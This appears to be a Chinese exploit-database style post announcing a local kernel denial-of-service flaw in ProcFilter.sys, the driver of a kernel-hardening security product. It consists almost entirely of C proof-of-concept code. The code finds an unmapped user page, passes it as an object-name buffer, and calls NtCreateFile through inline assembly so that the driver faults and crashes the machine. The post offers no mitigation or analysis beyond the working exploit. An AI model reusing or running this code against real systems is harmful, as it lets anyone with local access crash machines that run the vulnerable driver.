中嘉华诚内核加固免疫系统单机版1.2.01 ProcFilter.sys 本地内核拒绝服务漏洞

                                                漏洞利用代码：


#include "stdafx.h"
#include "windows.h"
#include "winternl.h"
int main(int argc, char* argv[])
{
printf("GKR ProcFilter.sys <= 2009.8.7 Local D.O.S Vuln POC\n"
   "Press Enter\n");


getchar();
ULONG i ;


for (i = 0x1000 ; i < 0x7fff0000 ; i+=0x1000)
{
   if (IsBadReadPtr((PVOID)i , 1))
   {
    break ; 
   }
}
printf("bad page :%08x\n",i);

OBJECT_ATTRIBUTES oba ; 
UNICODE_STRING uniname ;

oba.ObjectName = &uniname;
uniname.Length = 0x24 ; 
uniname.Buffer = (PWSTR)i;
PVOID proc = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtCreateFile");

__asm
{
   push 0
   push 0 
   push 0
   push 0 
   push 0 
   push 0
   push 0
   push 0
   push 0
   lea eax , oba
   push eax
   push 0x40000102
   push 0 
   call proc 
}

return 0;
}